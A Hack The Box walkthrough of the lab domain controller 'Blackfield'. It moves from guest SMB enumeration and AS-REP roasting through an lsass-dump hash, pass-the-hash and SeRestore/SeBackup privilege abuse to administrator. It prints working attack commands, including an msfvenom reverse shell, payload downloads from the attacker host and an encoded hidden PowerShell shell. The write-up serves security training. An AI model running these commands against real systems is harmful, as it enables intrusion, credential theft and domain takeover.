
HTB: Blackfield
A guest-readable profiles share hands over hundreds of usernames, one of which AS-REP roasts. Account Operators lets us reset an auditor’s password, the forensic share holds an lsass dump from a previous breach, and the restore privilege finishes it as SYSTEM.

nmap -sCV -p- -Pn 10.129.229.17 -v -T5 --min-rate 1500 \
--max-rtt-timeout 500ms --max-retries 3 --open -oN nmap_targets.txt

We have Kerberos, LDAP and RPC. Let's run enum4linux with no credentials and see what we get.
enum4linux-ng -A $IP

This is a domain controller, so let's add the domains to our hosts file. Note that clock skew in the scan, nearly seven hours. Kerberos will refuse us if we drift too far, so sync to the target before anything Kerberos-based.
We don't have any usernames to work with, so let's run kerbrute with a username list from SecLists.
kerbrute userenum -d blackfield.local --dc dc01.blackfield.local \
/usr/share/seclists/Usernames/top-usernames-shortlist.txt -o valid_users.txt

We have guest and administrator. Let's throw them into a users.txt list and then enumerate with guest and see if we get any shares.
nxc smb blackfield.local -u 'guest' -p '' --shares

We do. There are a couple of things here, so let's crawl them with NetExec.
nxc smb blackfield.local -u 'guest' -p '' -M spider_plus

That doesn't give us much. Three hundred folders and no files is itself the clue: the folder names are the payload. Let's log into the share with smbclient.
smbclient //blackfield.local/profiles$ -U 'guest%'

Looks like past profiles. Let's grab all these names and throw them into the users.txt file we have, then run them with NetExec using the usernames as passwords.
nxc smb blackfield.local -u users.txt -p users.txt --continue-on-success --no-bruteforce

They are all coming out as Guest, which means the server is falling back to the guest session rather than actually authenticating anybody. Let's cancel this and AS-REP roast instead.
impacket-GetNPUsers blackfield.local/ -usersfile users.txt -no-pass -dc-ip 10.129.229.17

We get a hash with the support account. Let's crack this.
hashcat support.hash /usr/share/wordlists/rockyou.txt

We get a password. Running the spider module again with these credentials gives us some info, but not much to work with.

It's a support account, so this should let us kerberoast.
nxc ldap blackfield.local -u support -p '#00^BlackKnight' --kerberoasting kerb.out

This kept me hanging, so let's try a different approach. Running the password we have against the users.txt file reveals a few things.

Here the guest fallback actually helps us. Real accounts fail properly, fake ones fall back to Guest. So audit2020 is a real account, and so are support and the backup service account. Let's save these in a separate list.
Running support through enum4linux shows that this account sits in several groups, including Account Operators. That group can reset the password of any non-protected user, so let's go ahead and change the password on that audit2020 account. It was obviously created to audit the system and operated by someone more privileged.
For this we are going to use bloodyAD.
bloodyAD -u support -p '#00^BlackKnight' -d blackfield.local \
--host 10.129.229.17 set password audit2020 'NewP@ss123!'

It's a success. Now let's enumerate this account.
enum4linux-ng -A $IP -u audit2020 -p 'NewP@ss123!'
nxc smb blackfield.local -u audit2020 -p 'NewP@ss123!' --shares


Great, we do. Let's scope it out with smbclient.
smbclient //blackfield.local/forensic -U 'audit2020%NewP@ss123!'
Inside we find a commands output directory. Let's pull all the files in there and explore what we have.

We have forensic traces of a previous hack that happened here.

There's an attacker-named account in that dump, so let's add it to our list too.
Heading back to smbclient, let's grab the lsass archive from the memory analysis directory. That is a memory dump of the process that holds credentials for everyone logged on at the time, so we use pypykatz to extract it.
pypykatz lsa minidump lsass.DMP

Right away we get an NT hash for the backup service account. Let's run this with NetExec.
nxc smb blackfield.local -u svc_backup -H '9658d1d1dcd9250115e2205d9f48400d' --shares

We get read and write on the default admin share. Let's check WinRM.
nxc winrm blackfield.local -u svc_backup -H '9658d1d1dcd9250115e2205d9f48400d'

And we get Pwn3d. Let's go ahead and log in with evil-winrm. Heading over to the desktop we can find the user flag.

First thing I like to do is bring over winPEAS and see what we can find. We don't get much, so let's bring over PowerUp as well and run all its checks.

Look what we have here. The restore privilege lets an account write to any file on disk regardless of its permissions, which means we can overwrite a service binary path and have Windows run it for us. A quick search found this script.
The Invoke-SeRestoreAbuse script on GitHub
Let's bring it over to the box and try it out.
iwr -uri http://10.10.14.211/Invoke-SeRestoreAbuse/Invoke-SeRestoreAbuse.ps1 -o sra.ps1
. ./sra.ps1
Invoke-SeRestoreAbuse -Command 'cmd /c powershell -c "whoami > C:\test.txt"'

And it worked. We have arbitrary command execution as SYSTEM, just not an interactive shell yet. Let's try to get one.
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.211 LPORT=4444 -f exe -o Edge.exe
iwr -uri http://10.10.14.211/Edge.exe -o rev.exe
After trying to run that and a few other things I wasn't able to get a shell, so let's hit the other privilege we have, the backup privilege. That one lets us read any file on disk, so we save the SYSTEM and SAM hives, bring them over to Kali and run secretsdump.
impacket-secretsdump -system SYSTEM.hive -sam SAM.hive LOCAL

We get the administrator hash. Now let's try to log in with evil-winrm and pass the hash.

It didn't work. Hold on, let's try another way using the Impacket suite.

None of them worked. This is the local SAM administrator, not the domain one, and the domain controller does not accept it. We had minor success with the privileged script, so let's try to get a shell again. This time we base64 encode a PowerShell reverse shell.

Invoke-SeRestoreAbuse -Command 'cmd /c start /b powershell -nop -w hidden -ep bypass -e <base64 shell>'

And it worked this time, but it isn't much of a shell.

We still can't read the root flag. The file is there, and we are SYSTEM, but the contents come back empty. Rather than fight it, let's change the administrator password and log in as them properly, then read it as the owner.
net user Administrator NewP@ss123!
net user Administrator /active:yes

Let's try logging in as them.
evil-winrm -i 10.129.229.17 -u Administrator -p 'NewP@ss123!'

We got the root flag.
Alright, this box was a little hard. I got to learn more about bloodyAD and to escalate privileges through a route I hadn't known before. The encrypted root flag was a little harder than usual but not so much to figure out. I enjoyed this box.
